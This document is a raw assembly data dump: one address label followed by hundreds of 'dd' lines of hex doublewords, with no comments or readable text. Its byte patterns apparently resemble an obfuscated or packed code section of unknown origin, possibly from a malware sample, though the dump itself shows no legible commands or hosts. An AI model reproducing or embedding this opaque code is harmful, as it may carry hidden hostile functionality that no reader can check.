61600000h dd 0E2F78159h, 806D3B01h, 0EF81A0DEh, 0F30C659h, 38A0Fh dd 0BF0F0000h, 0A6F781DEh, 8B3E2202h, 303C89DAh, 1965950Bh dd 0D1810613h, 2B9B2005h, 8904EE83h, 130B6D85h, 90FE8106h dd 0FFFFF8Dh, 1385h, 0D3816600h, 2CE9675Eh, 0A6000000h dd 919CD966h, 6FBB3B26h, 0AE9h, 7C1CAF00h, 4E6F6FF6h, 0E9C14829h dd 0FFFFFF6Ah, 0A3D43EBh, 50FB9799h, 8569ED94h, 0E980C094h dd 13h, 41BB5FE3h, 3 dup(0) dd 0E9000000h, 50Fh, 2383D35Fh, 1A1ADFDh, 1DBD8D1Fh, 6A4AC3Bh dd 1FBF9524h, 5BEA032Ch, 69F7D9F9h, 54E7C9E9h, 61F4D6F4h dd 0E1FECBEBh, 0B7A332ACh, 0BCA6FB16h, 1670E5C2h, 0DF109DB5h dd 912436BEh, 19A8AABBh, 24B59B3Bh, 19A78B28h, 0E30AF39h dd 7EC091BBh, 0C013222Ch, 8351B89Fh, 382C3B3h, 8BA4FB9h dd 113797B5h, 62C8ABEh, 84C697B1h, 0B4F1E34h, 80C293BBh dd 2BBB1F2Dh, 3E4CD65Dh, 0ACCD8D11h, 0A318BA9Dh, 57F41EB2h dd 923018ABh, 81798AB5h, 89EE4187h, 90BC0D3Fh, 9E320C33h dd 408D8EDAh, 3998E978h, 0B2109E34h, 0BB79A318h, 23A34195h dd 68h, 133D8EB4h, 5FF9C342h, 0C3E06CBDh, 6CFD4DDFh, 0B544A32Dh dd 109DB557h, 9FCD3ECCh, 0A341EAD1h, 0C3C8FB3h, 273618AAh dd 1C7DEE6h, 9B000000h, 50E16DBDh, 4EFE4F73h, 4569EFFh dd 203F9CB2h, 9DB571EDh, 3915A510h, 0B694282Ah, 0BD0766A7h dd 0B59B2C2Eh, 4ABF33A4h, 0AB084698h, 45143487h, 0FCDEFCC4h dd 65C3E369h, 55E470BDh, 1AAAE171h, 2085938h, 0F23FF388h dd 0CB5E4462h, 3A8EB081h, 0EE184110h, 0E8712F5Dh, 8CD9A341h dd 7D000000h, 55E470BDh, 16A8DF71h, 0C3E82938h, 0C1FE8502h dd 0ED7C1DCAh, 0D483F87Ah, 62F35DEEh, 2AB79923h, 17A68C2Ah dd 4367E97Ah, 8B0A5BF3h, 0E8775BEAh, 0C2E846A2h, 0C9A8D126h dd 0A4157178h, 41A8A878h, 7A10A3h, 7FA30000h, 2E7D2131h dd 0EAF21322h, 0E470BD70h, 0A4DE7155h, 0AEDF673Dh, 109E1B34h dd 0C53398FDh, 5CEE426Fh, 0CA0D5C3Dh, 4E572A15h, 1169F6C5h dd 0E6EE8FC3h, 0D6630FACh, 0F67516B8h, 1C7D0651h, 489BBFh dd 0BD409AB8h, 0E0C2E16Dh, 0E30014Fh, 0EAF293BDh, 0A7B5C7Bh dd 109DB490h, 3F923459h, 13DD3C0Dh, 9DB51574h, 87048E10h dd 41EA9765h, 63FA3h, 0BAA00000h, 449E2628h, 8EDF6BBDh dd 253F94Ch, 7B27A4CEh, 454161E9h, 6A4D6A1Ch, 9DB49FFBh dd 0D3626810h, 0FBD8E081h, 8EB19B8Ah, 78C94C16h, 6A490356h dd 958F648h, 30124088h, 6F9EAF9Dh, 0A8AAEF1h, 5F13A82Ah dd 7A607ECEh, 0F2D465E7h, 0B65CED5Fh, 62F39F1Ch, 0A070CCEAh dd 85AAD10h, 15Bh, 0C8BEA32Eh, 0BC377AEBh, 4DD0168Eh, 0C587DAFCh dd 0DA72C3E5h, 56F6478Bh, 0F891FF07h, 0A1FD704Fh, 6A0A8AA5h dd 1EAFA12Bh, 6434902Eh, 0CC5AAD1Bh, 51h, 0C6BCA372h, 4BFA74E9h dd 82036F62h, 9ADAFA25h, 0E26DF826h, 664C8BDAh, 13727AD4h dd 909EA3B7h, 0C1345AEBh, 909EA445h, 5FEE8F0Eh, 37A6EC7Bh dd 909EA3DBh, 310061A4h, 1E07840Eh, 0A573088Ah, 7AEBC8BAh dd 0EF633B00h, 0B268409h, 0D7h, 4CE0C2A7h, 0FD706FFEh dd 109DB4A1h, 824A2B6Ah, 7C5B2B36h, 8EA0FC09h, 8DDAE516h dd 3E2B7BEAh, 0F2DDFA9Bh, 0D8C6534Ah, 7D2F3C40h, 0C7C003D9h dd 90CF1EA6h, 91E43EAFh, 68AD0A8Ah, 91C01A4Bh, 4890A8Ah dd 3F479ABCh, 7D174F05h, 0A6046526h, 285D3184h, 0A89EAAEh dd 0E6771677h, 89EB3497h, 88AA750Ah, 44CE1634h, 0A73A20C7h dd 6B7594A5h, 94B6D869h, 0FE58093Fh, 0C70A89E9h, 7BD16446h dd 0EDCAABEAh, 14DC78C5h, 0E79FCAC6h, 8FBF95C8h, 0C6EC1070h dd 988D973h, 8F2022BFh, 91A0AAFEh, 0C1401170h, 1CAD91A0h dd 0C12B2130h, 4DC09F48h, 46FFBD1h, 0D48EB59Ah, 738DB86h dd 0D6AA4166h, 99ED55Ah, 186E73BFh, 44497BBh, 7A6E9FBCh dd 370A569Ch, 0A35AF8D6h, 6CC802BEh, 17E244h, 7C46909Bh dd 0ADCCC3FEh, 0A809DF0Eh, 47C61684h, 0CB81D4F6h, 0D874C5EBh dd 0C686D7FBh, 0D31E6FFEh, 78512577h, 80D181FAh, 0DD113706h dd 0A9C8A51Ah, 93DE250Ah, 889B8436h, 0E8CF2C07h, 17A1CF39h dd 0A1361C39h, 507796A7h, 0DDE1072Fh, 0E5E7F1E7h, 6569F854h dd 0F5EB7AD6h, 1C76E7C8h, 50C2E0EEh, 0C50251FFh, 0E0EE3690h dd 0FF9EFFC2h, 741E9BF5h, 6B4C6BE1h, 0E0EDA0FAh, 3F87D1C2h dd 0BD012195h, 341AACAEh, 3B85E425h, 0A2AA3B1Dh, 0BF8B1D05h dd 39BB635h, 37000000h, 71BDE17Bh, 0DF7254E5h, 65FADC6Dh dd 0E07052E3h, 52DFE372h, 0C20F3302h, 307FC392h, 9B2D1120h dd 2ABC9EAFh, 53221524h, 0C381E389h, 4, 3304EB83h, 1C31241Ch dd 241C3324h, 21F7685Ch, 2C890000h, 59BA6824h, 1C890000h dd 3EB95124h, 833F4115h, 0C18101E9h, 0C6D8D965h, 5459CD89h dd 81241C8Bh, 4C4h, 8BA5200h, 1000000h, 2C8155DAh, 0C960CB24h dd 81028F62h, 0C960CB02h, 34FF5A62h, 0C4815B24h, 4, 57242C8Bh dd 0C781E789h, 4, 4C781h, 3C870000h, 0BDE95C24h, 36FFF98Dh dd 0C3A0B941h, 55CA0391h, 0B8F0EDE5h, 619F325h, 0E0FFC503h dd 57F2EE4Fh, 67A86AACh, 13A9D865h, 5DBBA5EDh, 6E6D9070h dd 3D012BA2h, 540B6BB4h, 7C73AE7Bh, 0E0823E9h, 574D1145h dd 1E6EE30Bh, 7391572Dh, 53929C3Ch, 0FB4E38Eh, 3E1D7457h dd 0F4B98D8Dh, 6A0619h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 140424h, 51410000h, 8B66DFC3h, 98D89D7h, 89061319h dd 131BBD8Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1504h, 0C3524200h, 8589FAE6h, 6131ED9h, 49B866h, 0DD85C7F9h dd 50061318h, 6A00005Fh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 15042444h, 40000000h, 0D7BAC350h, 305585C7h dd 613h, 0B5FF0000h, 61320B9h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 14h, 5CC35646h, 5279CB81h, 95FF1F54h dd 6131D89h, 5A4FB866h, 95FF006Ah, 6130DA9h, 2FEBC08Bh dd 0A853FEDDh, 0F1C2A27Eh, 59D17EC9h, 0EF46A8EBh, 1658A26Ch dd 0B174682Ah, 325BC362h, 0B69F8908h, 1A5BAB71h, 7F0BFF31h dd 3C141B54h, 8DB4F127h, 19F5C18Dh, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 187F1FDFh dd 0A6513732h, 1BBD8D89h, 810F0613h, 6, 31BA6650h, 85C75871h dd 61318DDh, 584Ch, 1969BD89h, 85C70613h, 6133055h, 0 dd 0FE9h, 9DE35100h, 2EE8FB4Fh, 0DAAFB380h, 637247A3h dd 302DB5FFh, 6A0613h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 160424h, 55450000h, 239C83C3h, 21B1958Bh, 6E90613h dd 0 dd 3EA8132Dh, 8995FFCAh, 6A06131Dh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 5DEFC353h dd 18B1EA8Bh, 850B13A4h, 6132385h, 95FF006Ah, 6130DA9h dd 7FEBC08Bh, 21F666CDh, 46834684h, 3E21F040h, 72294801h dd 9AA588C5h, 1B95900Ah, 0BFB72977h, 0D9968BD9h, 0FD51FC2Ch dd 7A25624Bh, 0C9B02946h, 7F4525CFh, 4153AD2Eh, 0CF7AC42Ch dd 52F918CCh, 37CAF5E2h, 33452159h, 8FFF958Ch, 74FD90E2h dd 613F2D74h, 0E77E67D4h, 0C2A84729h, 0F26093AFh, 5AB1BCA5h dd 0D2658BE6h, 0AD14EA64h, 58619B11h, 28E9F40Fh, 0D915A9D2h dd 40D397A1h, 60CC37C7h, 8D32D8B5h, 19F71F8Dh, 0F88B6606h dd 1BBD8D89h, 6A0613h, 3E850h, 58200000h, 448958C3h, 44810424h dd 180424h, 50400000h, 0EAEC6DC3h, 9529828Ch, 6132C21h dd 18DD85C7h, 729C0613h, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 0AEE932C3h, 0FF938A6h dd 0E84h, 0B5896000h, 6133101h, 11318D29h, 0C7610613h dd 13305585h, 6, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1604h, 0C3504000h, 0E80F61C8h, 0Fh, 1DA8484Ah dd 0D9FC7465h, 587C7E5Ah, 0F91E620h, 665FC3B7h, 6D5AF681h dd 1489BD89h, 0B5FF0613h, 613005Dh, 0C75BD8Bh, 95FF0613h dd 6131D89h, 6A41B2h, 0DA995FFh, 0C08B0613h, 0D8A478EBh dd 9C172B6Bh, 421558B7h, 0B8ED3DCCh, 83851EEEh, 0CB97690Fh dd 0CE9A618Dh, 0F7CE145Dh, 0BFEBA633h, 8D86416Dh, 803399EEh dd 0EB3EABCEh, 3F2EE1B7h, 0DBB27E38h, 0EF9BE7D0h, 3D4E3B2Bh dd 0C5EBEE7h, 0AD244384h, 0AA8684E1h, 0E36C1E77h, 0C818154Eh dd 0AB66D839h, 736421D6h, 3FDBAFDAh, 0C99D8D4Fh, 0B2779E32h dd 3B6BC8DAh, 2D33948Eh, 0D201E894h, 6AEB93C8h, 14E969C2h dd 0A000000h, 23E065h, 3 dup(0) dd 0E9000000h, 567h, 4B6BEB77h, 5979D565h, 4565E577h, 5E7CD463h dd 4767ED7Ch, 23B2DB54h, 21AF9131h, 1CAF9131h, 19AC8E2Ch dd 89C69333h, 0B7ABFA54h, 0F44EC316h, 51E06CBDh, 3725572h dd 109DB487h, 429CCD50h, 0B109DB4h, 0C110428Ah, 83D280D0h dd 5D436302h, 1B6ABDCCh, 54E584CCh, 0C6055435h, 0F6FE54E4h dd 6AFB51E4h, 0AEB2D668h, 63596AB7h, 193D0C6Dh, 92B485C9h dd 5AF8483Dh, 0A9292A3Bh, 0E0122510h, 2626B76Bh, 3B0DA288h dd 6022B59Bh, 752C58DCh, 35046592h, 0BE8FC311h, 1FD368AAh dd 3C1EBC8Ch, 6392A3A9h, 109CF2E2h, 75C48E1Eh, 5C910351h dd 109CF302h, 1A2B4ACBh, 7065D674h, 0D0634C8Bh, 0B7394CA0h dd 54E51FA9h, 0BECC6828h, 0C1D05Ch, 0BFE30000h, 1EBBE070h dd 7BB4EACBh, 0BD449E26h, 0FC8E1D6Ch, 0ECC9413Fh, 0C293F2C8h dd 96C76E7Dh, 0CCAD0E21h, 98F95BEAh, 38AD8AC9h, 109E43DEh dd 3E16A3A7h, 910D805Fh, 5A109E43h, 0F652B13Bh, 2E109E43h dd 9DA1B09Ah, 0CD5F430Fh, 76F8EC7Dh, 5FEB1005h, 65F2C2EAh dd 15AA341h, 0 dd 0C2E16DBDh, 6FFE4CE0h, 347A62Eh, 2EA8DDB3h, 0F7109DB5h dd 79C880D3h, 49187918h, 0F793280Ah, 9DB50C86h, 0D1B0D510h dd 95B70180h, 173B0A46h, 96B889C9h, 54F84946h, 54E58405h dd 38EA5F73h, 73C4A5A3h, 86D88AFFh, 0E5CDEAC8h, 60343658h dd 669260D8h, 0D935A807h, 0A2109E3Eh, 0E6775963h, 0BDEA4866h dd 0E3C7E470h, 2A6BFA52h, 0AFFF43A2h, 0D8BD38D9h, 3F5E4B78h dd 51EA682Eh, 624014A1h, 0F9325A45h, 430FCCDEh, 8A0B5AF2h dd 5EEFE1EBh, 0E97B5FEEh, 7D09D061h, 97C5B0Ch, 109DF18Dh dd 35AD3756h, 0A341D577h, 9FDFh, 70BD8300h, 0B55BB726h dd 0E124109Dh, 0AFFF2380h, 854FCE9Fh, 98BEE9E6h, 0B0C26C28h dd 0FE4FFB4Dh, 0E4F6FE9Fh, 0F86BFA50h, 7956017Ah, 9EA48A04h dd 0AA325310h, 9B3B19A8h, 8F2C28B5h, 22331BABh, 488AD9E3h dd 0C60859F7h, 488ADB75h, 0C60958F6h, 7F462FCCh, 0E9D17613h dd 68F0F85Ch, 0A34118B8h, 8E087D5Ah, 57109EAEh, 0DF6EE673h dd 8E15DFBEh, 5Ah, 0E470BDB4h, 6ADE7155h, 9FFB6A4Dh, 68109DB4h dd 0B4C9B25h, 6245F287h, 9DB497F3h, 963D6010h, 555791B1h dd 61737D6Bh, 882280D4h, 50E16DBDh, 9DB4A021h, 0E9C61910h dd 0ABDA6EC1h, 109DB52Fh, 0C14B95F8h, 4DC09F48h, 109DB4D1h dd 0E9717B9Ah, 0A341EA2Bh, 193h, 0E0C2A700h, 0D3320351h dd 0D575C709h, 5DEF4284h, 2596D80Ch, 4F6FDB6Dh, 4F6C1A4Fh dd 0E47E4770h, 0F55BD182h, 22CD9CEBh, 1F7E168Fh, 93B90C4Eh dd 90BC0D33h, 91C10F33h, 0E87741C0h, 0D878C7EBh, 21137110h dd 464C0A8Bh, 0A0ACFDB5h, 0BF8F1F03h, 77656FAEh, 0FD4C0051h dd 75C488D9h, 0DC86038Dh, 47E3C389h, 5AAC8689h, 14F31h dd 0EA08200h, 4890F140h, 0C8BEA38Eh, 0BC377AEBh, 4DD0168Eh dd 6DFBDFFCh, 0B2E85E1Fh, 0E283425Fh, 2465F8DAh, 6CADBC92h dd 3A8BAD0Dh, 6392B512h, 0A89C3E7h, 0B382CA1Bh, 38800552h dd 7A14A5A9h, 0C3AE285Dh, 16770A89h, 89C3EB67h, 3051B40Ah dd 0D79CAC93h, 4290C64h, 10B7ED17h, 0E0E8A1F2h, 7A0F7981h dd 0F7D775C8h, 0AD959D5Bh, 6E455Ah, 0A3190000h, 74E9C6BCh dd 6F624BFAh, 32FD4C73h, 0BBA11307h, 7251B431h, 60950150h dd 909EA4E6h, 0C50F6EAFh, 0A57BD726h, 1EAF909Eh, 0A4A1FD70h dd 2B6A909Eh, 89D7FB4Ah, 2A5B78C9h, 909EA4B0h, 0CF431479h dd 88354B3Ah, 2E30DA9Fh, 29B3FC17h, 419E6ADFh, 77F36241h dd 80EF629Ch, 0F445075Ah, 0F3D7F495h, 3E5FEE66h, 7189A8B6h dd 25000000h, 351E0C2h, 0AD09D332h, 80F5D2B4h, 168EA175h dd 2C2E3F5Eh, 8ABDED99h, 0C5370543h, 612007A4h, 61C3B3A5h dd 23B61045h, 1E7F0A8Ah, 4167757Fh, 7C0D5CF0h, 0A8A241Bh dd 0DC5365Ch, 0F3390BCh, 7EC091C1h, 0CF4E1F29h, 0F83826AEh dd 0C73695F1h, 1070B1E6h, 3471677h, 95CB9AB2h, 0CF1ADE5Bh dd 4E518B7h, 50A56BBh, 0FCC4901Dh, 32902E6Fh, 0EBC8BEA3h dd 8443BB7Ah, 0A093BC16h, 151A7C97h, 226300C8h, 0AE9E2F13h dd 0B5972A10h, 0E94155A4h, 49762F4Ah, 717BCF61h, 5DF0A217h dd 58E9CFEFh, 0D26165F4h, 77F9EF7Eh, 4FFD5002h, 54F8496Fh dd 3C805h, 7B660000h, 0E571BDE1h, 6DDF7254h, 0E365FADCh dd 72E07052h, 252DFE3h, 92C20F33h, 20307FC3h, 0AF9B2D11h dd 242ABC9Eh, 69682215h, 89000030h, 89502434h, 405E0h dd 0E8830000h, 24048704h, 241C895Ch, 81E38953h, 4C3h, 4EB8300h dd 5C241C87h, 0BB243489h, 2938267Dh, 68h, 241C2900h, 0F7DBF75Bh dd 39F381DBh, 68D0DE2Eh, 1FA5h, 83242489h, 5E042404h, 97B85053h dd 2938CA03h, 58042444h, 8108468Fh, 3970846h, 348B38CAh dd 0E1895124h, 4C181h, 0C1810000h, 4, 5C240C87h, 5B2434FFh dd 0E904C483h, 0FFF9844Ch, 0E9653017h, 192DD69Fh, 0B8601586h dd 619FC8Ch, 0E0FFC503h, 589226B7h, 30DAEA14h, 3772CD38h dd 5D3C9C7Dh, 4BCCCA5Ah, 1175DDDAh, 1AC967E0h, 0FE8h, 0A7FCBA00h dd 3BFEF5FEh, 0BE833E13h, 0A3A72742h, 0F143BA66h, 3F89BB5Fh dd 0C78122C5h, 70ECh, 1C0468h, 0EBF38100h, 581CB82Eh, 13E9h dd 669F7900h, 90B2A570h, 946B632Dh, 999C219Eh, 178D7A1h dd 0F5737FFh, 58Ah, 0E1816600h, 5E5A0BCBh, 8EE81F9h, 0F74317Fh dd 1689h, 11E900h, 0E5CD0000h, 93221E95h, 966BB505h, 0E580F0F9h dd 81E6052Ah, 8C091F6h, 12B9664Ch, 9AF68167h, 535334D6h dd 378959F5h, 0EF83F18Ah, 5820F03h, 66000000h, 2F7F381h dd 48CA8A4Fh, 11850Fh, 0B9660000h, 32E99782h, 1E000000h dd 4C4AA6E0h, 0E92037FBh, 0Dh, 0CB1B49D7h, 1A2861h, 9B184E9Ch dd 0FF76E99Eh, 0F50DFFFFh, 0A545ABCBh, 0CB382275h, 304962Ch dd 0A8D33FCFh, 6E8FEh, 3F440000h, 5B445DFEh, 805EC88Bh dd 0C68167EAh, 638Dh, 0A7A9D281h, 16BB7862h, 81172265h dd 227DD7F3h, 5336FF17h, 41D98166h, 80585F3Ah, 0E88189C6h dd 5015ECF0h, 9BCF8166h, 0F8F0810Dh, 0B9584BF1h, 1894FA8Bh dd 5372C081h, 800F66E8h, 8, 0A0F78060h, 61F2B70Fh, 0F510689h dd 686h, 8C0F00h, 5F000000h, 8101EE83h, 0B7E635C9h, 4E4E4E48h dd 7E9h, 0EF993200h, 4B9916B9h, 0F01EB83h, 0FFFF9885h dd 8DD08BFFh, 19FF408Dh, 0F99D2306h, 89061316h, 131BBD8Dh dd 85C7F506h, 61318DDh, 73C4h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 14h, 0EC35141h, 305585C7h, 613h dd 8B660000h, 0EDB5FFDAh, 6A061331h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 1597C357h dd 8995FFF9h, 0F06131Dh, 68Bh, 0BEE8100h, 6A0F5209h, 0A995FF00h dd 8B06130Dh, 0C60CEBC0h, 0F82122D4h, 2405208Dh, 0E8FD44FFh dd 6, 0A9A173C1h, 8E0F9DDAh, 2, 0FC5F1CB6h, 5E30C781h dd 81660000h, 0BE70DDEAh, 1762h, 0D2DBD89h, 37FF0613h dd 0DE960h, 2C260000h, 0E76E71A3h, 64FC3159h, 0E8A0C16Ch dd 0Ah, 9F3B3AC9h, 8E64B6C8h, 58F55E2Fh, 85295B61h, 6131DADh dd 0F8BFF381h, 85897B2Ah, 6130641h, 9482C381h, 830F1C22h dd 4, 845BB966h, 3A45F381h, 95B8492Bh, 5373C46Ch, 11A99D09h dd 78F0613h, 216D8523h, 0EF810613h, 60873E84h, 81C68B66h dd 873E80C7h, 2D958B60h, 4E061332h, 0FF80850Fh, 0B589FFFFh dd 61306FDh, 14E8h, 0F8601900h, 63621142h, 66E304F6h, 201A48BCh dd 9EFF1E48h, 0C830F3Ah, 0F000000h, 688h, 0E9BD8B00h, 59061322h dd 0AE9h, 6274C300h, 897C0528h, 81FF35BBh, 72F7C1h, 38C0F00h dd 66000000h, 8168D98Bh, 5A00001Ch, 13E8h, 9B916B00h, 5BC8AAE1h dd 3C4DE441h, 0F5A263AEh, 0C522108Ah, 5B92EC80h, 18BF31FFh dd 5E71D9A8h, 38E0Fh, 8B660000h, 7FC681FEh, 0F28890Bh dd 8Ah, 2EE8100h, 0E811BA54h, 10h, 0B536E8B3h, 6C9A0FDEh dd 8E27739Fh, 0F5D4DFC8h, 0B7F6815Bh, 601C3348h, 397DC981h dd 0E08148DAh, 1B28BED7h, 18F5661h, 0A5DB8166h, 1E9811Dh dd 0E9502756h, 8, 0F9005D62h, 1670212Ah, 55FDC181h, 0AE85027h dd 0D4000000h, 7826FCABh, 0C0C2CB66h dd 0EA815FEEh, 1, 0FF76850Fh, 0BD8BFFFFh, 613104Dh, 0A234AC42h dd 0A27C2406h, 3BB37D7Ah, 80233047h, 83B42A21h, 6F302590h dd 863025C4h, 92A598A7h, 89302301h, 86305A8Dh, 0F8DA684h dd 86363666h, 8642A12Eh, 3F62590h, 802334A9h, 0EED04D6Ah dd 82B15B98h, 3E5E452Dh, 1385DAADh, 0B363656h, 904C16A4h dd 0DE0DA96h, 67B5E3B8h, 0C8363635h, 8518A87Ah, 0A204A4D2h dd 0F571DA49h, 0A2B990BDh, 3BD2332h, 802659A3h, 7EBBF5B7h dd 8630359Dh, 8638CC12h, 89962509h, 86302B01h, 4F3B6C42h dd 79C0A02Eh, 8BD9DA6Fh, 0B302548h, 957FA8B9h, 86359D14h dd 65CF2509h, 86CE9809h, 0BBD2358h, 802A249Dh, 0B6153728h dd 47FF0ECEh, 0A234AC42h, 0A27C2406h, 3BB37D7Ah, 80233047h dd 83B42A21h, 6F302590h, 863025C4h, 0E98398A7h, 0B9A4F305h dd 22h, 9E8h, 35331C00h, 942126E7h, 8B5F2FCCh, 130F4195h dd 0C3C78106h, 60000066h, 0C319D89h, 8B660613h, 0B861DAh dd 8B000000h, 131FAD95h, 3834FF06h, 99E2B860h, 53524252h dd 5B615E5Eh, 0D618E981h, 0EB812323h, 28DDE54Eh, 0E16840BAh dd 0C2EB8118h, 891201A1h, 132825B5h, 0E5C38106h, 0E953F6DAh dd 5, 0D47A2355h, 71C8966h, 0D599D89h, 0BA660613h, 0E8814A70h dd 544CC233h, 0C081CF8Bh, 544CC22Fh, 81F1BF0Fh, 0FF99E0F8h dd 9A850FFFh, 0E8FFFFFFh, 7, 0E68EFD52h, 0F7841E7h, 28Fh dd 595A5300h, 0FE8h, 5C6FED00h, 18647844h, 81C409E1h, 0FE3BFBA0h dd 1EC59D8Bh, 8B590613h, 91C181D1h, 8B000074h, 0CC48BFD7h dd 0EF811AC2h, 1AC2AF50h, 3EE8166h, 8B31FF88h, 132D11B5h dd 29575806h, 1300598Dh, 0E8815B06h, 5F7C395h, 0C820Fh dd 8D0F0000h, 6, 4CD9D89h, 0E8810613h, 66A638E0h, 0DE9h dd 0FC016A00h, 76C6D0D4h, 857D45B3h, 0E8815FA0h, 34DC6EB7h dd 1899DB3h, 706412BAh, 4E98364h, 20CFE381h, 0EF8149BFh dd 1, 13850Fh, 9D8B0000h, 61322EDh, 15E9h, 0DFAE8000h dd 2878487Ah, 0FF83E9DBh, 0B51BFFFFh, 7939DBA1h, 1FE975D0h dd 0E9000000h, 7CD01Ch, 6 dup(0) dd 0F0E90000h, 2E000007h, 3218B6A0h, 2A10AEA0h, 3416B496h dd 2B0DADA3h, 2518B69Eh, 54E10Ah, 223080A2h, 3F099E84h dd 2428B99Fh, 6392BD86h, 16B7B7E7h, 70C579B0h, 109DB511h dd 86007552h, 4F109DB4h, 81D406CEh, 203EE805h, 8FEE6CD8h dd 8CFAEF2Fh, 96BE0B2Fh, 51DC114Eh, 7A168DCBh, 0FB4A0858h dd 0F3DCFB9Ah, 79DB7241h, 45E8A3C7h, 0A7EC2724h, 706FFEC6h dd 253F54Ah, 0E63690C5h, 9EFF0A89h, 56E3F5FFh, 67FAE0FEh dd 0DF7254E5h, 9C36DC6Dh, 0ACE2731Fh, 89E5DD39h, 667A60Ah dd 15A387A8h, 6D2BB33Dh, 0D55AADDBh, 41h, 2670BD69h, 9DB55BB7h dd 80E12410h, 14408DB1h, 36D33D45h, 0B7173D8Ch, 41E65D1Bh dd 1F05A3h, 0BD590000h, 0E3C7E470h, 75F4FC54h, 9DB48504h dd 7FFC6610h, 0BC0B86D3h, 0FAD5F594h, 2Fh, 4BE0C258h, 0A32D6CFDh dd 213024B1h, 9DB574D0h, 3218AC10h, 0FF921F23h, 4DCC9DADh dd 0DB751D2Ch, 3E54775Eh, 0A6381ACDh, 9F2E20A8h, 0A3BB15B5h dd 7AEBC8BEh, 168E85A3h, 2E102164h, 3012B09Ah, 0A19FAE9Ch dd 6CA13E48h, 107B8EA5h, 4D035476h, 0AC399DFCh, 707899A8h dd 7FC392F3h, 94D1C2Ch, 15C697BBh, 63796CDDh, 4EE29029h dd 0D901DEFCh, 0DAFCC488h, 0C3E7C486h, 988D971h, 85D120BFh dd 67047778h, 4ADE9425h, 0A308A200h, 7CD607BBh, 45109DB5h dd 5085A1C0h, 52024F73h, 0A03A8203h, 46E06CBDh, 994767C1h dd 41A641DEh, 53h, 0C5BBA315h, 4EE0C269h, 400A9E00h, 0B4890F1h dd 9DB580DAh, 4391B910h, 2728C50Fh, 0EB9AB203h, 109DB56Fh dd 9AB4D538h, 6BBD68C2h, 0ED152F19h, 6D0C07BEh, 70E5C2D1h dd 109DB516h, 0DD2BF8DFh, 0DAE6ECEDh, 41DF31BBh, 0FE4CE0C2h dd 63EBF6h, 0C2470000h, 0EC4051E0h, 0EF8E0F5Eh, 358DD9E5h dd 9DB546C0h, 68EA7A10h, 0A7ABB8D9h, 0E9283919h, 0E8CAE988h dd 66F0F856h, 0B53793C2h, 4A70109Dh, 860756F8h, 3483D73Eh dd 795E7D1Ch, 0CB15B3F7h, 23BD0704h, 6BBD68C2h, 0AEDF00DFh dd 109DB534h, 0E475D368h, 6D7796A5h, 70E5C2F3h, 109DB516h dd 0E436BEDFh, 0E06CBD3Eh, 36142051h, 0C2FD1099h, 331670E5h dd 0BEDF1099h, 0B35FDC36h, 0A68C2A22h, 2A2C3D17h, 0A6A8B99Bh dd 26283913h, 0A4A6B791h, 0EC26390Fh, 1280664Fh, 0D87CC979h dd 949262FAh, 2B3A5CBAh, 20000000h, 51E06CBDh, 5B780E53h dd 4903567Ch, 0A38D007Fh, 0C746168Eh, 1CADE576h, 4ABBD366h dd 0A8A9CD0h, 0B5157499h, 3022B298h, 6CBD2EA8h, 0C3E4C3E0h dd 9DB53892h, 0ED9C0110h, 109DB571h, 67F7DB3Ah, 328EDDE7h dd 4A704F37h, 4F8C54F6h, 8EA2031Eh, 0E9C94C16h, 2D1076C7h dd 0AC49DF4Ah, 7ED31A81h, 9F022B41h, 4A706FFEh, 860756F8h dd 0BA70CF3Eh, 0D7688EDCh, 54E6E879h, 7AF86BFAh, 0CF431401h dd 13A58D3Ah, 1AABAD37h, 25850174h, 0CF4E8618h, 972A10AEh dd 0A53416B5h, 81DD10AFh, 4A861825h, 466201CBh, 194C6B1Bh dd 8C092F40h, 203F9C01h, 51971EDh, 0C4183A80h, 76C3E786h dd 0C60E8FDEh, 0BBA33A98h, 0F65069C5h, 0C3E06CBDh, 300151DFh dd 0C14D07D1h, 0DE994767h, 577BA641h, 95F44505h, 45D44Bh dd 0A36A0000h, 0C269C5BBh, 9DB53793h, 0F64A7010h, 0BEDF8C54h dd 0BDE5C2A4h, 8D00DF6Bh, 109DB511h, 0A731BBDAh, 0B3196BBDh dd 9ED5190h, 7DA680E1h, 0E0DDC2E3h, 8B992870h, 0BD6A0D7Bh dd 0F16C316h, 259AC5h, 0A3380000h, 2DB6FFBBh, 81114D4Ah dd 93C246E0h, 109DB537h, 2861F426h, 6AABBA98h, 0C2D06A0Bh dd 0DF6BBD68h, 0BDE37D83h, 0E4C3E06Ch, 9DB51571h, 8C01DE10h dd 109DB512h, 11DBBADBh, 36152352h, 94FE1099h, 52FA4BF7h dd 55FF4E74h, 1B73C204h, 80B68F4Ah, 1A2B4AC3h, 5AE7A838h dd 88CA9BFAh, 164A1B39h, 90765FDCh, 0A1FD704Fh, 6A10998Dh dd 1737872Bh, 1CC643CDh, 22887CDh, 4ADEB3h, 27B1D061h dd 0BA2B0C29h, 10998E60h, 84DCE429h, 5CBA33B4h, 391Ch dd 6CBD4200h, 557251E0h, 9DB4A620h, 8394D710h, 470DE78h dd 0B20ED637h, 7DF0CFB7h, 168F4190h, 98B71479h, 8B40E965h dd 6F53B20Ah, 0BEDF6EDEh, 0EE24B736h, 3814A55Dh, 6CBD409Ah dd 0E5351E0h, 4B2A5B78h, 0DC168EAAh, 0A3BF19B9h, 5069C5BBh dd 70E5C2F6h, 109DB516h, 2436BEDFh, 0E71EF591h, 379CABF6h dd 0E0C2FC56h, 9AB8004Eh, 6CDDC240h, 0FA459449h, 0C5A33B85h dd 6DA64179h, 2Fh, 0C5BBA3D1h, 3793C269h, 109DB5h, 0CC1C3E9Dh dd 8E56B786h, 50E0C2D4h, 22099D02h, 0B273180Fh, 0BD8D2D2Ah dd 7D83DF6Bh, 3DC4E3h, 0A36A0000h, 0C269C5BBh, 0D1B04BDDh dd 4CC1864Bh, 109E8AD2h, 